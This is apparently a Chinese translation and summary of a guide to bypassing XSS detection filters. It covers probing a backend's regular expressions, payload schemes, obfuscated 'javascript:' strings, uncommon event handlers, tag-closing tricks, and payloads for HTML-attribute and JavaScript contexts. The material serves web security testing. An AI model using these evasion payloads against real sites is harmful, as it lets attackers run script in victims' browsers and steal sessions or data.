Contents
XSS 过滤器绕过指南
黑盒视角下如何反向推理 XSS 过滤器后端的正则表达式
绕过 xss 检测机制 (翻译)
https://www.cnblogs.com/xsserhaha/p/10743671.html?from=timeline
原文
https://github.com/s0md3v/MyPapers/tree/master/Bypassing-XSS-detection-mechanisms
三个步骤
1 determing payload structure
2 probing
3 obfuscation
URL unsafe characters +
, &
现阶段(2018/04),使用机器学习来检测 XSS 仍然是一个实验性特性, WAF 厂商更多还是使用传统正则来检测恶意 payload 。
HTML Context
XSS 存在的场景
用户输入被反射在 HTML 页面上,即可能存在 XSS, 可以说这个 输入是在 HTML 上下文中 (in the HTML context)。 HTML 上下文通常由两种情况
假设用户输入为 $input
。
1 用户输入被反射在 HTML 标签内
<input type="text" value="$input">
2 用户输入被反射在 HTML 标签外
<span> You entered $input</span>
用户输入被反射在 HTML 标签外
primary character (核心字符)
为了构造 XSS payload 不可或缺的字符
对于用户输入被反射在 HTML 标签外的情况,核心字符 (primary character) 是 左尖括号 <
, 左尖括号在 HTML 中是承担开启一个新标签的功能。根据 HTML 文档,标签名称必须以字母 (alphabet) 开头。
根据这些信息,为了尝试确定后端的正则表达式
1 <svg
如果通过,后端没有标签检查
2 <dev
如果未通过,后端可能是 <[a-z]+
3 x<dev
如果通过,后端可能是 ^<[a-z]+
4 <dEv
如果未通过,后端可能是 <a-zA-Z]+
5 <d3V
如果未通过,后端可能是 <[a-zA-Z0-9]+
6 <d|3v
如果未通过,后端可能是 <.+
如果所有的 probe 都没有通过,很大概率这个用户输入反射点是无法被绕过的。如果这几个 probe 由任意一个被通过了,我们可以尝试一系列 payload 结构 (payload scheme)。
Payload Scheme #1
While probing, a harmless string should be used instead of {javascript}
.
<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}
一旦我们找到一个合适的标签 {tag}
时,下一步是猜测 {filler}
区域的正则表达式
1 <tag xxx
如果未通过, {filler}
区域可能是 {space}
2 <tag%09xxx
如果未通过, {filler}
区域可能是 [\s]
3 <tag%09%09xxx
如果未通过, {filler}
区域可能是 \s+
4 <tag/xxx
如果未通过, {filler}
区域可能是 [\s/]+
5 <tag%0axxx
如果未通过, {filler}
区域可能是 [\s\n]+
6 <tag%0dxxx
如果未通过, {filler}
区域可能是 [\s\n\r+]+
7 <tag/~/xxx
如果未通过, {filler}
区域可能是 .+
接下来的 {event_handler}
也是 payload 结构中的重要组件。通常开发者回使用 on\w+
或者以黑名单的方式比如 on(load|click|error|show)
来匹配。
使用 on\w+
的方式比较严格,基本不能被绕过,不过使用黑名单的方式经常被不在黑名单中的小众的 event handler 绕过。我们可以使用如下 probe 测试。
1 <tag{filler}onxxx
如果未通过,说明后端是 on\w+
。如果通过说明后端是黑名单模式,类似于 on(load|click|error|show)
。
2 <tag{filler}onclick
如果通过,说明后端没有检查 event handler 。
如果后端正则为 on\w+
,所有以 on 开头的 event handler 都无法使用,基本上就是无法绕过了。在这个情况下,你不如看看下一个 payload scheme 。 如果后端正则是 黑名单风格, 那就 fuzz 一下 event handler, 看看有没有不在黑名单里的,如果所有 event handler 都在黑名单中,那个看下一个 payload scheme 吧。
在我的经验里,常见的不在黑名单中的 event handler 有:
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
如果 <tag{filler}{event_handler}=d3v
也被限制了,那就可以尝试增加可选的 {filler}
。
下一个组件就是 需要执行的 JavaScript 代码。这个区域很灵活,一般很难有预定义的模式来匹配它。这个阶段我们只需要考虑如何闭合标签就行了。
常见的闭合方式如下:
1 <payload>
2 <payload
3 <payload{space}
4 <payload//
5 <payload%0a
6 <payload%0d
7 <payload%09
值得一提,HTMl 文档允许 <tag{whites space}{anything here}>
的结构,例如 <a href='http://example.com' any text can be placed here as long as there's a greater-than sign somewhere later in the HTML document>
这种结构的标签依然是有效的。 HTML 的这个特性让攻击者可以使用如上方法注入 HTML 标签。
Payload Scheme #2
<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
测试 {filler}
的技巧在不同的 payload scheme 里都是相似的。
顺带一提,(如果没有 {filler}
分割) , ?
可以在 URL 的末尾使用。 ?
后面的内容会被认定是 URL 的一部分,直到 >
字符闭合标签。
使用 <sciprt>
标签很容易触发安全规则,因此你也可以尝试用 <object>
标签。
<obJecT{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
Payload Scheme #3
这种 payload scheme 有两种变种, plain 和 obfuscatable
plain 变种经常被如下正则匹配 href[\s]{0,}=[\s]{0,}javascript:
。它的基本结构如下
<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}
obfuscatable 变种的基本结构如下
<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}
这两个变种的区别就是 {special}
区域。 {special}
就是一个混淆的 内容为 javascript
的字符串。常见的混淆方法如下:
测试可用的一个 payload
<a href = "javascrIpt:alert(1)" >clickme</a>
1 使用 newline 和 horizontal tab 字符来混淆
j%0aAv%0dasCr%09ipt:
J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a:
J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a:
2 HTML 实体编码 (十进制/十六进制)
numeric character encoding
Javascript:
javascript:
3 对 1和2 进行混合
Java%0a%0d%09script:
JavaSciprt 可执行 与 不可执行的 上下文
如果 反射的用户输入 在标签外,可以分为两种情况, Executable 和 Non-executable .
Non-executable 的情况是指
用户输入反射在 HTML 注释中,比如 <--$input-->
或者用户输入反射在如下标签中
<style>
<title>
<nonembed>
<noscript>
<textarea>
译者注: 说到 noscript 标签,之前 Google 主站首页的 XSS 似乎是使用了这个。
如果用户输入落入这些标签之后,必须闭合这些标签才能执行 JavaScript 代码。
因此,在 Non-executable 的情况下,测试的区别只是需要增加一个步骤,闭合不可执行的标签 {closing tag}
,常见的闭合方式如下:
</tag>
</tAg/x>
</tag{space}>
</tag//>
</tag%0a>
</tag%0d>
</tag%09>
如果找到了可用的闭合标签,接下来就是构造最终 payload 了。
{closing tag}{any payload from executable payload section}
用户输入被反射在 HTML 标签内
用户输入反射在标签属性中
在 “用户输入被反射在 HTML 标签内” 的情况下,核心字符 (primary character) 是 引号 (quote) "
,比如 <input value="$input" type="text">
。在少数情况下,可能需要引号就能导致 XSS (通常是用户输入反射在一段 JavaScript 代码中)。
1 在 Event Handler 内 / Inside an Event Handler
如果输入被反射在 event handler 内部 <tag event_handler="function($input)">
,输入的恶意代码就很容易被执行。
2 在 src 的属性中 / Inside ‘src’ Attribute
如果是在 <script>
或者 <iframe>
标签中
<script src="http://example.com/malicious.js">
<iframe src="http://example.com/xss.html">
绕过 URL 匹配
a //example.com/xss.js
绕过后端的 http(?s)://
的正则
b ////////example.com/xss.js
绕过后端的 (?:http(?s):?)?//
的正则
c /\///\\/example.com/xss.js
绕过后端的 (?:http(?s):?)?//+
3 在 srcdoc 的属性中 / Inside ‘srcdoc’ Attribute
<iframe srcdoc="$input">
<iframe srcdoc="<svg/onload=alert()>">
5 普通属性
常见的 context
<input type="text" value""/onfocus="alert()$input">
根据是否可交互可以分为两类,
Interactable
{quote}{filler}{event_handler}{?filler}={?filler}{javascript}
检查 quote 是否被 WAF 拦截,可以采用如下 payload: x"y
。
支持任意标签的 event handler
可以搜索文档查看不同标签的 event handler
onclick
onauxclick
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
如果是不可交互的区域,就把这个标签给闭合掉。
{quote}>{any payload scheme form html context section}
用户输入被反射在 JavaScript 代码块中
JavaScript Context
Payload Scheme #1
{quote}{delimiter}{javascript}{delimiter}{quote}
常用的 delimiter 包括
'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'
Payload Scheme #2
{quote}{delimiter}{javascript}//
常见类型
'<{javascript}//'
'|{javascript}//'
'^{javascript}//'
代码块内
');}}alert();if(true){('
');%0a}%0d}%09alert();/*anything here*/if(true){//anything here%0a('
结语
多关注原文
Leave a Reply